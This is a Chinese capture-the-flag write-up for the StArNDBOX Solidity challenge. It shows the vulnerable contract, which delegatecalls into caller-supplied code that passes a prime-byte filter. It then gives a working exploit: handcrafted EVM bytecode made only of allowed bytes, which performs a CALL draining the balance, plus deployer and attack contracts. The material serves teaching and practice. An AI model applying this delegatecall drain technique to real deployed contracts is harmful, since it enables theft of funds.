CTF2021-StArNDBOX Writeup – 作者:小汽油

题目

题目要求:清空合约账户余额获得 flag

赛题源码:

pragma solidity ^0.5.11;

library Math {
    function invMod(int256 _x, int256 _pp) internal pure returns (int) {
        int u3 = _x;
        int v3 = _pp;
        int u1 = 1;
        int v1 = 0;
        int q = 0;
        while (v3 > 0){
            q = u3/v3;
            u1= v1;
            v1 = u1 - v1*q;
            u3 = v3;
            v3 = u3 - v3*q;
        }
        while (u1<0){
            u1 += _pp;
        }
        return u1;
    }
    
    function expMod(int base, int pow,int mod) internal pure returns (int res){
        res = 1;
        if(mod > 0){
            base = base % mod;
            for (; pow != 0; pow >>= 1) {
                if (pow & 1 == 1) {
                    res = (base * res) % mod;
                }
                base = (base * base) % mod;
            }
        }
        return res;
    }
    function pow_mod(int base, int pow, int mod) internal pure returns (int res) {
        if (pow >= 0) {
            return expMod(base,pow,mod);
        }
        else {
            int inv = invMod(base,mod);
            return expMod(inv,abs(pow),mod);
        }
    }
    
    function isPrime(int n) internal pure returns (bool) {
        if (n == 2 ||n == 3 || n == 5) {
            return true;
        } else if (n % 2 ==0 && n > 1 ){
            return false;
        } else {
            int d = n - 1;
            int s = 0;
            while (d & 1 != 1 && d != 0) {
                d >>= 1;
                ++s;
            }
            int a=2;
            int xPre;
            int j;
            int x = pow_mod(a, d, n);
            if (x == 1 || x == (n - 1)) {
                return true;
            } else {
                for (j = 0; j < s; ++j) {
                    xPre = x;
                    x = pow_mod(x, 2, n);
                    if (x == n-1){
                        return true;
                    }else if(x == 1){
                        return false;
                    }
                }
            }
            return false;
        }
    }
    
    function gcd(int a, int b) internal pure returns (int) {
        int t = 0;
        if (a < b) {
            t = a;
            a = b;
            b = t;
        }
        while (b != 0) {
            t = b;
            b = a % b;
            a = t;
        }
        return a;
    }
    function abs(int num) internal pure returns (int) {
        if (num >= 0) {
            return num;
        } else {
            return (0 - num);
        }
    }
    
}

contract StArNDBOX{
    using Math for int;
    constructor()public payable{
    }
    modifier StAr() {
        require(msg.sender != tx.origin);
        _;
    }
    function StArNDBoX(address _addr) public payable{
        
        uint256 size;
        bytes memory code;
        int res;
        
				// load the code of _addr into the memory
        assembly{
						// length of the contract bytecode at addr, in bytes
            size := extcodesize(_addr)
						// code =  memory[0x40:0x40+32]
            code := mload(0x40)
						// writes a (u)int256 to memory[0x40:0x40+32] = code + (size + 0x20 + 0x1f) & ~0x1f
            mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
						// memory[code:code+32] = size
            mstore(code, size)
						// memory[add(code, 0x20):add(code, 0x20)+size] = address(_addr).code[0:0+size]
            extcodecopy(_addr, add(code, 0x20), 0, size)
        }

				// check if each byte of bytescode is 0, 1 or prime number
        for(uint256 i = 0; i < code.length; i++) {
            res = int(uint8(code[i]));
            require(res.isPrime() == true);
        }
        bool success;
        bytes memory _;
        (success, _) = _addr.delegatecall("");
        require(success);
    }
}

题目分析

1.目标合约获取_addr的合约代码

2.检查获取代码的每一个字节是否为0,1或质数

3.若满足第二点,则调用_addr的fallback函数:_addr.delegatecall(“”)

4.通过调用_addr的fallback清空合约账户余额,获得 flag

要转走合约中的余额,就要保证

1.攻击合约的字节码都为0,1或质数

2.fallback函数是一个转账函数

构造CALL函数

图片[1]-CTF2021-StArNDBOX Writeup – 作者:小汽油-安全小百科

部署合约:https://ethervm.io/decompile/ropsten/0xCE1e482Bb5600f7DE9d316bcd30fb53cBAd4DcBe

0x61000061000061000061000061006161000301610000619789f100

61 0000    PUSH2 0x0000
61 0000    PUSH2 0x0000
61 0000    PUSH2 0x0000
61 0000    PUSH2 0x0000
61 0061    PUSH2 0x0061
61 0003    PUSH2 0x0003
01         ADD
61 0000    PUSH2 0x0000
61 9789    PUSH2 0x9789
f1         CALL

// 从这个情况可以看出[<https://ethervm.io/>](<https://ethervm.io/>) 上的CALL函数参数栈调转了
memory[0x00:0x00] = address(0x0000).call.gas(0x9789).value(0x0003 + 0x0061)(memory[0x00:0x00])

攻击合约

pragma solidity ^0.5.11;

contract Deployer {
    constructor() public {
        bytes memory bytecode = hex'61000061000061000061000061006161000301610000619789f100';
        assembly {
            return (add(bytecode, 0x20), mload(bytecode))
        }
    }
}

攻击合约的调用

pragma solidity ^0.5.12;

contract StArNDBOX{
    function StArNDBoX(address _addr) public payable{ }
}

contract attack{
    address code;
    address target;
    StArNDBOX s;
    function exp(address code, address target)external{
        StArNDBOX s = StArNDBOX(target);
        s.StArNDBoX(code);
    }
}

参考文章

博客园:CTF 2021 StArNDBOX Writeup

来源:freebuf.com 2021-05-18 20:51:13 by: 小汽油

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论